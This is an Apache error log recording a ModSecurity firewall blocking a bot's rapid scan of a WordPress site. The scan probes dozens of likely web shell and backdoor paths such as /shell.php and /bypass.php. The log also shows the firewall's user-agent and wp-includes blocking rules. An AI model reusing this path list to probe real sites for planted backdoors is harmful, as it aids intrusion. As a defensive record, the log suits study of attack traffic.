[Thu Nov 20 21:40:55.225078 2025] [:error] [pid 40415:tid 40430] [client 185.223.152.5:64963] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links.php"] [unique_id "aR8aZ6hjIyLSv09svwPQoQAAAcw"]
[Thu Nov 20 21:40:55.871515 2025] [:error] [pid 40508:tid 40511] [client 185.223.152.227:65513] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aR8aZ6xXNVCMW_ksxPvf5wAAAoE"]
[Thu Nov 20 21:40:56.516726 2025] [:error] [pid 40636:tid 40655] [client 185.223.152.217:25029] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aR8aaAK8BWUoW3xq0HAswwAAA48"]
[Thu Nov 20 21:40:57.185486 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.221:23605] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-file.php"] [unique_id "aR8aaTFpvu8oRK7ATftA5gAAAQE"]
[Thu Nov 20 21:40:57.867307 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.205:59497] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aR8aabg6x32Tvk7fIG8DLAAAAEU"]
[Thu Nov 20 21:40:58.607917 2025] [:error] [pid 55340:tid 55355] [client 185.223.152.217:30921] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aR8aavOxD-NeMydTybC_GAAAAAo"]
[Thu Nov 20 21:40:59.276584 2025] [:error] [pid 40508:tid 40522] [client 185.223.152.223:30573] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ty.php"] [unique_id "aR8aa6xXNVCMW_ksxPvf6QAAAow"]
[Thu Nov 20 21:40:59.923808 2025] [:error] [pid 40636:tid 40649] [client 185.223.152.215:54147] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/readme.php"] [unique_id "aR8aawK8BWUoW3xq0HAsxQAAA4k"]
[Thu Nov 20 21:41:00.595575 2025] [:error] [pid 40445:tid 40491] [client 185.223.152.217:53031] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aR8abFH-MuFcoWRjXpaX4QAAAlA"]
[Thu Nov 20 21:41:01.302483 2025] [:error] [pid 55430:tid 55441] [client 185.223.152.223:63185] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aR8abfPZXaIMEU4pE7shCQAAAMg"]
[Thu Nov 20 21:41:01.952864 2025] [:error] [pid 40508:tid 40524] [client 185.223.152.223:56573] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/license.php"] [unique_id "aR8abaxXNVCMW_ksxPvf6wAAAo4"]
[Thu Nov 20 21:41:02.630101 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.227:34535] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/admin-ajax.php"] [unique_id "aR8ablWlO3EnyVMV7w7R0QAAAIc"]
[Thu Nov 20 21:41:03.306692 2025] [:error] [pid 55430:tid 55438] [client 185.223.152.209:26765] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "aR8ab_PZXaIMEU4pE7shCwAAAMU"]
[Thu Nov 20 21:41:03.954668 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.222:62209] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content.php"] [unique_id "aR8ab7g6x32Tvk7fIG8DLwAAAEk"]
[Thu Nov 20 21:41:04.601024 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.209:42001] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-configs.php"] [unique_id "aR8acDFpvu8oRK7ATftA6gAAAQM"]
[Thu Nov 20 21:41:05.251492 2025] [:error] [pid 34405:tid 34415] [client 185.223.152.214:50909] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "aR8acTFpvu8oRK7ATftA6wAAAQg"]
[Thu Nov 20 21:41:05.906943 2025] [:error] [pid 40508:tid 40531] [client 185.223.152.218:20319] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aR8acaxXNVCMW_ksxPvf8QAAApU"]
[Thu Nov 20 21:41:06.554234 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.212:51641] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system.php"] [unique_id "aR8acvOxD-NeMydTybC_GgAAABg"]
[Thu Nov 20 21:41:07.198875 2025] [:error] [pid 40415:tid 40432] [client 185.223.152.221:36667] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "aR8ac6hjIyLSv09svwPQpAAAAc4"]
[Thu Nov 20 21:41:07.845105 2025] [:error] [pid 40537:tid 40557] [client 185.223.152.222:45443] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/zasf"] [unique_id "aR8ac6KlsL5kxTa3c1wAngAAAtA"]
[Thu Nov 20 21:41:08.493856 2025] [:error] [pid 40445:tid 40477] [client 185.223.152.219:65293] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aR8adFH-MuFcoWRjXpaX6AAAAkI"]
[Thu Nov 20 21:41:09.149995 2025] [:error] [pid 40415:tid 40439] [client 185.223.152.222:62893] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "aR8adahjIyLSv09svwPQpQAAAdU"]
[Thu Nov 20 21:41:09.795809 2025] [:error] [pid 55430:tid 55437] [client 185.223.152.207:35181] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aR8adfPZXaIMEU4pE7shDwAAAMQ"]
[Thu Nov 20 21:41:10.443503 2025] [:error] [pid 40537:tid 40548] [client 185.223.152.211:61679] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aR8adqKlsL5kxTa3c1wAnwAAAsc"]
[Thu Nov 20 21:41:11.093170 2025] [:error] [pid 55342:tid 55392] [client 185.223.152.204:29951] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-conflg.php"] [unique_id "aR8ad7g6x32Tvk7fIG8DNQAAAFQ"]
[Thu Nov 20 21:41:11.739727 2025] [:error] [pid 40636:tid 40654] [client 185.223.152.212:20719] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aR8adwK8BWUoW3xq0HAsyAAAA44"]
[Thu Nov 20 21:41:12.392455 2025] [:error] [pid 55430:tid 55453] [client 185.223.152.222:60157] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aR8aePPZXaIMEU4pE7shEQAAANQ"]
[Thu Nov 20 21:41:13.084663 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.224:39649] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aR8aebg6x32Tvk7fIG8DNwAAAEI"]
[Thu Nov 20 21:41:13.746225 2025] [:error] [pid 55342:tid 55375] [client 185.223.152.8:41197] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "aR8aebg6x32Tvk7fIG8DOAAAAEM"]
[Thu Nov 20 21:41:14.416799 2025] [:error] [pid 40636:tid 40650] [client 185.223.152.221:48929] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aR8aegK8BWUoW3xq0HAsywAAA4o"]
[Thu Nov 20 21:41:15.134341 2025] [:error] [pid 55342:tid 55393] [client 185.223.152.222:56047] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aR8ae7g6x32Tvk7fIG8DPAAAAFU"]
[Thu Nov 20 21:41:15.892601 2025] [:error] [pid 55342:tid 55391] [client 185.223.152.209:49567] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aR8ae7g6x32Tvk7fIG8DPQAAAFM"]
[Thu Nov 20 21:41:17.951517 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.7:64453] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aR8affPZXaIMEU4pE7shFAAAANA"]
[Thu Nov 20 21:41:18.660644 2025] [:error] [pid 40537:tid 40542] [client 185.223.152.207:31353] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/options.php"] [unique_id "aR8afqKlsL5kxTa3c1wAoQAAAsE"]
[Thu Nov 20 21:41:20.773904 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.6:20069] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aR8agLg6x32Tvk7fIG8DQAAAAEE"]
[Thu Nov 20 21:41:21.476715 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.219:26957] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bypass.php"] [unique_id "aR8agbg6x32Tvk7fIG8DQgAAAFI"]
[Thu Nov 20 21:41:22.128100 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.214:46751] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/shell/index.php"] [unique_id "aR8agvPZXaIMEU4pE7shFwAAAMA"]
[Thu Nov 20 21:41:22.774663 2025] [:error] [pid 40636:tid 40654] [client 185.223.152.204:58149] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aR8aggK8BWUoW3xq0HAs1AAAA44"]
[Thu Nov 20 21:41:23.420091 2025] [:error] [pid 40508:tid 40527] [client 185.223.152.211:20741] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aR8ag6xXNVCMW_ksxPvgCgAAApE"]
[Thu Nov 20 21:41:24.074247 2025] [:error] [pid 55343:tid 55412] [client 185.223.152.225:32815] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-signup.php"] [unique_id "aR8ahFWlO3EnyVMV7w7R4gAAAI0"]
[Thu Nov 20 21:41:24.723982 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.226:52805] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aR8ahFWlO3EnyVMV7w7R4wAAAI8"]
[Thu Nov 20 21:41:25.374873 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.227:44529] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aR8ahbg6x32Tvk7fIG8DRwAAAFA"]
[Thu Nov 20 21:41:26.022208 2025] [:error] [pid 40508:tid 40531] [client 185.223.152.216:31977] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aR8ahqxXNVCMW_ksxPvgDQAAApU"]
[Thu Nov 20 21:41:26.669370 2025] [:error] [pid 40445:tid 40499] [client 185.223.152.211:23887] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR8ahlH-MuFcoWRjXpaYCAAAAlg"]
[Thu Nov 20 21:41:27.315877 2025] [:error] [pid 40636:tid 40651] [client 185.223.152.8:65261] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-trackback.php"] [unique_id "aR8ahwK8BWUoW3xq0HAs1wAAA4s"]
[Thu Nov 20 21:41:27.966114 2025] [:error] [pid 34405:tid 34425] [client 185.223.152.207:37665] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aR8ahzFpvu8oRK7ATftBDwAAARI"]
[Thu Nov 20 21:41:28.613242 2025] [:error] [pid 34405:tid 34430] [client 185.223.152.214:36389] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aR8aiDFpvu8oRK7ATftBEQAAARc"]
[Thu Nov 20 21:41:29.259598 2025] [:error] [pid 40508:tid 40513] [client 185.223.152.217:27095] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aR8aiaxXNVCMW_ksxPvgEAAAAoM"]
[Thu Nov 20 21:41:29.923698 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.216:30323] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "aR8aiVWlO3EnyVMV7w7R5QAAAIA"]
[Thu Nov 20 21:41:30.573067 2025] [:error] [pid 40445:tid 40485] [client 185.223.152.225:33729] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/packed.php"] [unique_id "aR8ailH-MuFcoWRjXpaYDwAAAko"]
[Thu Nov 20 21:41:31.240814 2025] [:error] [pid 40537:tid 40561] [client 185.223.152.5:54815] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aR8ai6KlsL5kxTa3c1wApgAAAtQ"]
[Thu Nov 20 21:41:31.887229 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.6:51331] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aR8ai1WlO3EnyVMV7w7R5wAAAIc"]
[Thu Nov 20 21:41:32.533355 2025] [:error] [pid 55430:tid 55450] [client 185.223.152.214:57303] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ini.php"] [unique_id "aR8ajPPZXaIMEU4pE7shGgAAANE"]
[Thu Nov 20 21:41:33.179754 2025] [:error] [pid 40445:tid 40499] [client 185.223.152.204:35095] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/worksec.php"] [unique_id "aR8ajVH-MuFcoWRjXpaYFQAAAlg"]
